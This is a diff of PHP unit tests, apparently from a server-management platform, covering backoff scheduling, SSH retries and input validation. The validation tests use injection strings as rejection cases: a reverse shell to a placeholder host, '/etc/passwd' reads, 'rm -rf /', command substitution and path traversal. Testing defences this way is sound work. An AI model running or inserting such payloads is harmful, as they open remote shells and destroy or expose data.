$job = new SendWebhookJob(
payload: ['event' => 'test'],
webhookUrl: 'http://localhost/internal-api'
);
$job->handle();
Http::assertNothingSent();
});
+226
View File
@@ -0,0 +1,226 @@
<?php
use App\Events\ServerReachabilityChanged;
use App\Jobs\ServerCheckJob;
use App\Jobs\ServerConnectionCheckJob;
use App\Jobs\ServerManagerJob;
use App\Models\Server;
use Illuminate\Queue\TimeoutExceededException;
use Illuminate\Support\Carbon;
use Illuminate\Support\Facades\Event;
use Tests\TestCase;
uses(TestCase::class);
beforeEach(function () {
Carbon::setTestNow('2025-01-15 12:00:00');
});
afterEach(function () {
Mockery::close();
Carbon::setTestNow();
});
describe('getBackoffCycleInterval', function () {
it('returns correct intervals for unreachable counts', function () {
$job = new ServerManagerJob;
$method = new ReflectionMethod($job, 'getBackoffCycleInterval');
expect($method->invoke($job, 0))->toBe(1)
->and($method->invoke($job, 1))->toBe(1)
->and($method->invoke($job, 2))->toBe(1)
->and($method->invoke($job, 3))->toBe(3)
->and($method->invoke($job, 5))->toBe(3)
->and($method->invoke($job, 6))->toBe(6)
->and($method->invoke($job, 11))->toBe(6)
->and($method->invoke($job, 12))->toBe(12)
->and($method->invoke($job, 100))->toBe(12);
});
});
describe('shouldSkipDueToBackoff', function () {
it('never skips servers with unreachable_count <= 2', function () {
$job = new ServerManagerJob;
$executionTimeProp = new ReflectionProperty($job, 'executionTime');
$method = new ReflectionMethod($job, 'shouldSkipDueToBackoff');
$server = Mockery::mock(Server::class)->makePartial();
$server->id = 42;
foreach ([0, 1, 2] as $count) {
$server->unreachable_count = $count;
// Test across all minutes in an hour
for ($minute = 0; $minute < 60; $minute++) {
Carbon::setTestNow("2025-01-15 12:{$minute}:00");
$executionTimeProp->setValue($job, Carbon::now());
expect($method->invoke($job, $server))->toBeFalse(
"Should not skip with unreachable_count={$count} at minute={$minute}"
);
}
}
});
it('skips most cycles for servers with high unreachable count', function () {
$job = new ServerManagerJob;
$executionTimeProp = new ReflectionProperty($job, 'executionTime');
$method = new ReflectionMethod($job, 'shouldSkipDueToBackoff');
$server = Mockery::mock(Server::class)->makePartial();
$server->id = 42;
$server->unreachable_count = 15; // interval = 12
$skipCount = 0;
$allowCount = 0;
for ($minute = 0; $minute < 60; $minute++) {
Carbon::setTestNow("2025-01-15 12:{$minute}:00");
$executionTimeProp->setValue($job, Carbon::now());
if ($method->invoke($job, $server)) {
$skipCount++;
} else {
$allowCount++;
}
}
// With interval=12, most cycles should be skipped but at least one should be allowed
expect($allowCount)->toBeGreaterThan(0)
->and($skipCount)->toBeGreaterThan($allowCount);
});
it('distributes checks across servers using server ID hash', function () {
$job = new ServerManagerJob;
$executionTimeProp = new ReflectionProperty($job, 'executionTime');
$method = new ReflectionMethod($job, 'shouldSkipDueToBackoff');
// Two servers with same unreachable_count but different IDs
$server1 = Mockery::mock(Server::class)->makePartial();
$server1->id = 1;
$server1->unreachable_count = 5; // interval = 3
$server2 = Mockery::mock(Server::class)->makePartial();
$server2->id = 2;
$server2->unreachable_count = 5; // interval = 3
$server1AllowedMinutes = [];
$server2AllowedMinutes = [];
for ($minute = 0; $minute < 60; $minute++) {
Carbon::setTestNow("2025-01-15 12:{$minute}:00");
$executionTimeProp->setValue($job, Carbon::now());
if (! $method->invoke($job, $server1)) {
$server1AllowedMinutes[] = $minute;
}
if (! $method->invoke($job, $server2)) {
$server2AllowedMinutes[] = $minute;
}
}
// Both servers should have some allowed minutes, but not all the same
expect($server1AllowedMinutes)->not->toBeEmpty()
->and($server2AllowedMinutes)->not->toBeEmpty()
->and($server1AllowedMinutes)->not->toBe($server2AllowedMinutes);
});
});
describe('ServerConnectionCheckJob unreachable_count', function () {
it('increments unreachable_count on timeout', function () {
Event::fake([ServerReachabilityChanged::class]);
$settings = Mockery::mock();
$settings->is_reachable = true;
$settings->shouldReceive('update')
->with(['is_reachable' => false, 'is_usable' => false])
->once();
$server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
$server->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
$server->shouldReceive('getAttribute')->with('unreachable_notification_sent')->andReturn(false);
$server->shouldReceive('increment')->with('unreachable_count')->once();
$server->id = 1;
$server->name = 'test-server';
$server->unreachable_count = 1; // Will become 2 after increment in real code; mock keeps value as-is
$job = new ServerConnectionCheckJob($server);
$job->failed(new TimeoutExceededException);
});
it('does not increment unreachable_count for non-timeout failures', function () {
$server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
$server->shouldNotReceive('increment');
$server->id = 1;
$server->name = 'test-server';
$job = new ServerConnectionCheckJob($server);
$job->failed(new RuntimeException('Some other error'));
});
});
describe('ServerConnectionCheckJob ServerReachabilityChanged dispatch', function () {
// ServerReachabilityChanged's constructor calls $server->isReachableChanged() — verifying that
// call is a clean proxy for "the event was dispatched", and avoids serializing a Mockery proxy
// through the event dispatcher (which trips Eloquent static method lookups on the proxy class).
$invoke = function (bool $wasReachable, bool $wasNotified, bool $isReachable, int $unreachableCount, bool $expectDispatch) {
$server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
$server->shouldReceive('getAttribute')->with('unreachable_count')->andReturn($unreachableCount);
$server->shouldReceive('getAttribute')->with('id')->andReturn(1);
if ($expectDispatch) {
$server->shouldReceive('isReachableChanged')->once()->andReturnNull();
} else {
$server->shouldNotReceive('isReachableChanged');
}
$job = new ServerConnectionCheckJob($server);
$method = new ReflectionMethod($job, 'dispatchReachabilityChangedIfNeeded');
$method->invoke($job, $wasReachable, $wasNotified, $isReachable);
};
it('dispatches event when count crosses unreachable threshold', function () use ($invoke) {
$invoke(true, false, false, 2, true);
});
it('does not dispatch on first transient failure (count=1)', function () use ($invoke) {
$invoke(true, false, false, 1, false);
});
it('does not dispatch when already notified and still unreachable', function () use ($invoke) {
$invoke(false, true, false, 5, false);
});
it('dispatches recovery event when previously unreachable', function () use ($invoke) {
$invoke(false, false, true, 0, true);
});
it('dispatches recovery event when previously notified', function () use ($invoke) {
$invoke(true, true, true, 0, true);
});
it('does not dispatch when consistently reachable and never notified', function () use ($invoke) {
$invoke(true, false, true, 0, false);
});
});
describe('ServerCheckJob unreachable_count', function () {
it('increments unreachable_count on timeout', function () {
$server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
$server->shouldReceive('increment')->with('unreachable_count')->once();
$server->id = 1;
$server->name = 'test-server';
$job = new ServerCheckJob($server);
$job->failed(new TimeoutExceededException);
});
it('does not increment unreachable_count for non-timeout failures', function () {
$server = Mockery::mock(Server::class)->makePartial()->shouldAllowMockingProtectedMethods();
$server->shouldNotReceive('increment');
$server->id = 1;
$server->name = 'test-server';
$job = new ServerCheckJob($server);
$job->failed(new RuntimeException('Some other error'));
});
});
@@ -0,0 +1,20 @@
<?php
use App\Models\Server;
it('includes a uuid in standalone docker bootstrap attributes for the root server path', function () {
$server = new Server;
$server->id = 0;
$attributes = $server->defaultStandaloneDockerAttributes(id: 0);
expect($attributes)
->toMatchArray([
'id' => 0,
'name' => 'coolify',
'network' => 'coolify',
'server_id' => 0,
])
->and($attributes['uuid'])->toBeString()
->and($attributes['uuid'])->not->toBe('');
});
@@ -0,0 +1,36 @@
<?php
use App\Actions\Service\RestartService;
use App\Actions\Service\StartService;
use App\Actions\Service\StopService;
use App\Models\Service;
it('does not stop a service before pulling latest images', function () {
$method = new ReflectionMethod(StartService::class, 'shouldStopBeforeStarting');
expect($method->invoke(new StartService, pullLatestImages: true, stopBeforeStart: true))->toBeFalse();
});
it('still stops a service before a regular restart', function () {
$method = new ReflectionMethod(StartService::class, 'shouldStopBeforeStarting');
expect($method->invoke(new StartService, pullLatestImages: false, stopBeforeStart: true))->toBeTrue()
->and($method->invoke(new StartService, pullLatestImages: false, stopBeforeStart: false))->toBeFalse();
});
it('routes service restart actions through start service with deferred stop semantics', function () {
$service = Mockery::mock(Service::class);
$stopService = Mockery::mock(StopService::class);
$stopService->shouldNotReceive('handle');
app()->instance(StopService::class, $stopService);
$startService = Mockery::mock(StartService::class);
$startService->shouldReceive('handle')
->once()
->with($service, true, true)
->andReturn('restart queued');
app()->instance(StartService::class, $startService);
expect(RestartService::run($service, true))->toBe('restart queued');
});
+10 -7
View File
@@ -7,22 +7,24 @@
* These tests verify the fix for the issue where changing an image in a
* docker-compose file would create a new service instead of updating the existing one.
*/
it('ensures service parser does not include image in firstOrCreate query', function () {
it('ensures service parser does not include image in trusted service creation query', function () {
// Read the serviceParser function from parsers.php
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Check that firstOrCreate is called with only name and service_id
// and NOT with image parameter in the ServiceApplication presave loop
// Check that trusted creation only uses name and service_id
// and does not include image in the creation payload
expect($parsersFile)
->toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);")
->not->toContain("firstOrCreate([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);");
->toContain("\$databaseFound = ServiceDatabase::where('name', \$serviceName)->where('service_id', \$resource->id)->first();")
->toContain("\$applicationFound = ServiceApplication::where('name', \$serviceName)->where('service_id', \$resource->id)->first();")
->toContain("create([\n 'name' => \$serviceName,\n 'service_id' => \$resource->id,\n ]);")
->not->toContain("create([\n 'name' => \$serviceName,\n 'image' => \$image,\n 'service_id' => \$resource->id,\n ]);");
});
it('ensures service parser updates image after finding or creating service', function () {
// Read the serviceParser function from parsers.php
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Check that image update logic exists after firstOrCreate
// Check that image update logic exists after the trusted create/find branch
expect($parsersFile)
->toContain('// Update image if it changed')
->toContain('if ($savedService->image !== $image) {')
@@ -39,7 +41,8 @@ it('ensures parseDockerComposeFile does not create duplicates on null savedServi
// The new code checks for null within the else block and creates only if needed
expect($sharedFile)
->toContain('if (is_null($savedService)) {')
->toContain('$savedService = ServiceDatabase::create([');
->toContain('$savedService = ServiceDatabase::create([')
->toContain('$savedService = ServiceApplication::create([');
});
it('verifies image update logic is present in parseDockerComposeFile', function () {
+15 -3
View File
@@ -1,6 +1,7 @@
<?php
use App\Helpers\SshMultiplexingHelper;
use App\Models\Server;
use App\Rules\ValidHostname;
use App\Rules\ValidServerIp;
@@ -57,20 +58,20 @@ it('rejects injection payloads in server ip', function (string $payload) {
// -------------------------------------------------------------------------
it('strips dangerous characters from server ip on write', function () {
$server = new App\Models\Server;
$server = new Server;
$server->ip = '192.168.1.1;rm -rf /';
// Regex [^0-9a-zA-Z.:%-] removes ; space and /; hyphen is allowed
expect($server->ip)->toBe('192.168.1.1rm-rf');
});
it('strips dangerous characters from server user on write', function () {
$server = new App\Models\Server;
$server = new Server;
$server->user = 'root$(id)';
expect($server->user)->toBe('rootid');
});
it('strips non-numeric characters from server port on write', function () {
$server = new App\Models\Server;
$server = new Server;
$server->port = '22; evil';
expect($server->port)->toBe(22);
});
@@ -102,6 +103,17 @@ it('has no raw user@ip string interpolation in SshMultiplexingHelper', function
expect($source)->not->toContain('{$server->user}@{$server->ip}');
});
it('escapes scp source and destination operands', function () {
$reflection = new ReflectionClass(SshMultiplexingHelper::class);
$source = file_get_contents($reflection->getFileName());
expect($source)
->toContain('escapeshellarg($source)')
->toContain('escapeshellarg($dest)')
->not->toContain('"{$source} "')
->not->toContain('":{$dest}"');
});
// -------------------------------------------------------------------------
// ValidHostname rejects shell metacharacters
// -------------------------------------------------------------------------
+46 -2
View File
@@ -10,12 +10,12 @@ class SshRetryMechanismTest extends TestCase
{
public function test_ssh_retry_handler_exists()
{
$this->assertTrue(class_exists(\App\Helpers\SshRetryHandler::class));
$this->assertTrue(class_exists(SshRetryHandler::class));
}
public function test_ssh_retryable_trait_exists()
{
$this->assertTrue(trait_exists(\App\Traits\SshRetryable::class));
$this->assertTrue(trait_exists(SshRetryable::class));
}
public function test_retry_on_ssh_connection_errors()
@@ -50,6 +50,24 @@ class SshRetryMechanismTest extends TestCase
}
}
public function test_generic_ssh_exit_255_error_is_retryable()
{
$handler = new class
{
use SshRetryable;
// Make methods public for testing
public function test_is_retryable_ssh_error($error)
{
return $this->isRetryableSshError($error);
}
};
$this->assertTrue(
$handler->test_is_retryable_ssh_error('SSH command failed with exit code: 255')
);
}
public function test_non_ssh_errors_are_not_retryable()
{
$handler = new class
@@ -141,6 +159,32 @@ class SshRetryMechanismTest extends TestCase
$this->assertEquals(3, $attemptCount);
}
public function test_retry_succeeds_after_generic_ssh_exit_255_failure()
{
$attemptCount = 0;
config([
'constants.ssh.max_retries' => 3,
'constants.ssh.retry_base_delay' => 0,
]);
$result = SshRetryHandler::retry(
function () use (&$attemptCount) {
$attemptCount++;
if ($attemptCount === 1) {
throw new \RuntimeException('SSH command failed with exit code: 255');
}
return 'success';
},
['test' => 'generic_ssh_255_retry_test'],
true
);
$this->assertEquals('success', $result);
$this->assertEquals(2, $attemptCount);
}
public function test_retry_fails_after_max_attempts()
{
$attemptCount = 0;
@@ -0,0 +1,45 @@
<?php
use App\Models\StandaloneDocker;
use Illuminate\Database\Eloquent\Model;
/**
* Guards STANDALONE_DATABASE_MODELS against drift.
*
* MCP and API endpoints rely on this registry for team-scoped UUID lookups.
* If a new App\Models\Standalone* model lands without a registry entry, the
* helpers in bootstrap/helpers/shared.php silently fail to resolve it.
*/
test('STANDALONE_DATABASE_MODELS contains every Standalone* model on disk', function () {
$files = glob(dirname(__DIR__, 2).'/app/Models/Standalone*.php');
expect($files)->not->toBeEmpty();
$onDisk = collect($files)
->map(fn (string $path) => 'App\\Models\\'.basename($path, '.php'))
->reject(fn (string $class) => $class === StandaloneDocker::class)
->sort()
->values()
->all();
$registered = collect(STANDALONE_DATABASE_MODELS)->values()->sort()->values()->all();
expect($registered)->toBe(
$onDisk,
'STANDALONE_DATABASE_MODELS in bootstrap/helpers/constants.php is out of sync with the App\\Models\\Standalone* classes on disk. '
.'Add the missing model(s) to the registry (and to DATABASE_TYPES) so MCP/API helpers can resolve them.'
);
});
test('STANDALONE_DATABASE_MODELS keys mirror DATABASE_TYPES', function () {
expect(array_keys(STANDALONE_DATABASE_MODELS))->toEqualCanonicalizing(DATABASE_TYPES);
});
test('every STANDALONE_DATABASE_MODELS entry is an Eloquent model with whereUuid scope', function () {
foreach (STANDALONE_DATABASE_MODELS as $slug => $modelClass) {
expect(class_exists($modelClass))->toBeTrue("{$slug} maps to non-existent class {$modelClass}");
expect(is_subclass_of($modelClass, Model::class))
->toBeTrue("{$modelClass} is not an Eloquent model");
expect(method_exists($modelClass, 'team'))
->toBeTrue("{$modelClass} is missing team() accessor required by queryDatabaseByUuidWithinTeam()");
}
});
+138
View File
@@ -0,0 +1,138 @@
<?php
test('allows plain filenames without special characters', function () {
$validNames = [
'init.sql',
'01_schema.sql',
'setup-db.sql',
'create_test_db.sql',
'init-script.sh',
'UPPERCASE.SQL',
'mixed_Case-File.sql',
'file123.sql',
'a',
];
foreach ($validNames as $name) {
expect(fn () => validateFilenameSafe($name, 'init script filename'))
->not->toThrow(Exception::class, "Expected '{$name}' to pass");
}
});
test('rejects path traversal with ../', function () {
expect(fn () => validateFilenameSafe('../../../etc/cron.d/pwn', 'init script filename'))
->toThrow(Exception::class);
});
test('rejects path traversal with .. alone', function () {
expect(fn () => validateFilenameSafe('..', 'init script filename'))
->toThrow(Exception::class);
});
test('rejects path traversal embedded in filename', function () {
expect(fn () => validateFilenameSafe('foo..bar', 'init script filename'))
->toThrow(Exception::class);
});
test('rejects forward slash directory separator', function () {
expect(fn () => validateFilenameSafe('foo/bar.sql', 'init script filename'))
->toThrow(Exception::class);
});
test('rejects backslash directory separator', function () {
expect(fn () => validateFilenameSafe('foo\\bar.sql', 'init script filename'))
->toThrow(Exception::class);
});
test('rejects absolute path starting with slash', function () {
expect(fn () => validateFilenameSafe('/etc/passwd', 'init script filename'))
->toThrow(Exception::class);
});
test('rejects absolute Windows-style path', function () {
expect(fn () => validateFilenameSafe('C:\\Windows\\System32\\cmd.exe', 'init script filename'))
->toThrow(Exception::class);
});
test('rejects null byte injection', function () {
expect(fn () => validateFilenameSafe("init.sql\0../../etc/passwd", 'init script filename'))
->toThrow(Exception::class);
});
test('rejects shell command substitution (inherits from validateShellSafePath)', function () {
expect(fn () => validateFilenameSafe('$(whoami).sql', 'init script filename'))
->toThrow(Exception::class);
});
test('rejects backtick command substitution', function () {
expect(fn () => validateFilenameSafe('`id`.sql', 'init script filename'))
->toThrow(Exception::class);
});
test('rejects semicolon command separator', function () {
expect(fn () => validateFilenameSafe('init.sql;rm -rf /', 'init script filename'))
->toThrow(Exception::class);
});
test('rejects pipe operator', function () {
expect(fn () => validateFilenameSafe('init.sql|whoami', 'init script filename'))
->toThrow(Exception::class);
});
test('rejects redirect operators', function () {
expect(fn () => validateFilenameSafe('init.sql>/etc/passwd', 'init script filename'))
->toThrow(Exception::class);
});
test('rejects mixed traversal and shell injection', function () {
expect(fn () => validateFilenameSafe('../etc/cron.d/$(id)', 'init script filename'))
->toThrow(Exception::class);
});
test('error message contains context string', function () {
try {
validateFilenameSafe('../evil', 'init script filename');
expect(false)->toBeTrue('Should have thrown');
} catch (Exception $e) {
expect($e->getMessage())->toContain('init script filename');
}
});
test('handles empty string without throwing', function () {
expect(fn () => validateFilenameSafe('', 'init script filename'))
->not->toThrow(Exception::class);
});
test('rejects whitespace inside filename (would split into extra tee arg)', function () {
expect(fn () => validateFilenameSafe('foo bar.sql', 'init script filename'))
->toThrow(Exception::class);
});
test('rejects glob wildcards', function () {
expect(fn () => validateFilenameSafe('init*.sql', 'init script filename'))
->toThrow(Exception::class);
expect(fn () => validateFilenameSafe('init?.sql', 'init script filename'))
->toThrow(Exception::class);
});
test('rejects glob character class brackets', function () {
expect(fn () => validateFilenameSafe('init[abc].sql', 'init script filename'))
->toThrow(Exception::class);
});
test('rejects tilde expansion', function () {
expect(fn () => validateFilenameSafe('~/evil.sql', 'init script filename'))
->toThrow(Exception::class);
expect(fn () => validateFilenameSafe('~root', 'init script filename'))
->toThrow(Exception::class);
});
test('rejects single and double quotes', function () {
expect(fn () => validateFilenameSafe("foo'bar.sql", 'init script filename'))
->toThrow(Exception::class);
expect(fn () => validateFilenameSafe('foo"bar.sql', 'init script filename'))
->toThrow(Exception::class);
});
+93
View File
@@ -1,5 +1,6 @@
<?php
use App\Models\EnvironmentVariable;
use App\Support\ValidationPatterns;
it('accepts valid names with common characters', function (string $name) {
@@ -80,3 +81,95 @@ it('falls back to random name when repo produces empty name', function () {
expect(mb_strlen($name))->toBeGreaterThanOrEqual(3)
->and(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1);
});
it('accepts valid Docker network names', function (string $network) {
expect(ValidationPatterns::isValidDockerNetwork($network))->toBeTrue();
})->with([
'simple name' => 'mynetwork',
'with hyphen' => 'my-network',
'with underscore' => 'my_network',
'with dot' => 'my.network',
'cuid2 format' => 'ck8s2z1x0000001mhg3f9d0g1',
'alphanumeric' => 'network123',
'starts with number' => '1network',
'complex valid' => 'coolify-proxy.net_2',
]);
it('rejects Docker network names with shell metacharacters', function (string $network) {
expect(ValidationPatterns::isValidDockerNetwork($network))->toBeFalse();
})->with([
'semicolon injection' => 'poc; bash -i >& /dev/tcp/evil/4444 0>&1 #',
'pipe injection' => 'net|cat /etc/passwd',
'dollar injection' => 'net$(whoami)',
'backtick injection' => 'net`id`',
'ampersand injection' => 'net&rm -rf /',
'space' => 'net work',
'newline' => "net\nwork",
'starts with dot' => '.network',
'starts with hyphen' => '-network',
'slash' => 'net/work',
'backslash' => 'net\\work',
'empty string' => '',
'single quotes' => "net'work",
'double quotes' => 'net"work',
'greater than' => 'net>work',
'less than' => 'net<work',
]);
it('generates dockerNetworkRules with correct defaults', function () {
$rules = ValidationPatterns::dockerNetworkRules();
expect($rules)->toContain('required')
->toContain('string')
->toContain('max:255')
->toContain('regex:'.ValidationPatterns::DOCKER_NETWORK_PATTERN);
});
it('generates nullable dockerNetworkRules when not required', function () {
$rules = ValidationPatterns::dockerNetworkRules(required: false);
expect($rules)->toContain('nullable')
->not->toContain('required');
});
it('accepts Docker-compatible environment variable keys', function (string $key) {
expect(ValidationPatterns::isValidEnvironmentVariableKey($key))->toBeTrue();
})->with([
'letters' => 'APP_ENV',
'leading underscore' => '_TOKEN',
'railpack control variable' => 'RAILPACK_NODE_VERSION',
'digits after first character' => 'NODE_VERSION_20',
'starts with digit' => '1BAD',
'hyphen' => 'BAD-KEY',
'dot' => 'node.name',
'uppercase dots' => 'XPACK.SECURITY.ENABLED',
'semicolon' => 'BAD;KEY',
'space' => 'BAD KEY',
]);
it('rejects environment variable keys Docker cannot represent', function (string $key) {
expect(ValidationPatterns::isValidEnvironmentVariableKey($key))->toBeFalse();
})->with([
'equals' => 'BAD=KEY',
'empty' => '',
]);
it('generates environment variable key rules with correct defaults', function () {
$rules = ValidationPatterns::environmentVariableKeyRules();
expect($rules)->toContain('required')
->toContain('string')
->toContain('max:255')
->toContain('regex:'.ValidationPatterns::ENVIRONMENT_VARIABLE_KEY_PATTERN);
});
it('normalizes environment variable keys by trimming surrounding whitespace', function () {
expect(ValidationPatterns::normalizeEnvironmentVariableKey(' node.name '))->toBe('node.name');
});
it('normalizes environment variable keys before model validation', function () {
$environmentVariable = new EnvironmentVariable;
$environmentVariable->key = ' APP_ENV ';
expect($environmentVariable->key)->toBe('APP_ENV');
});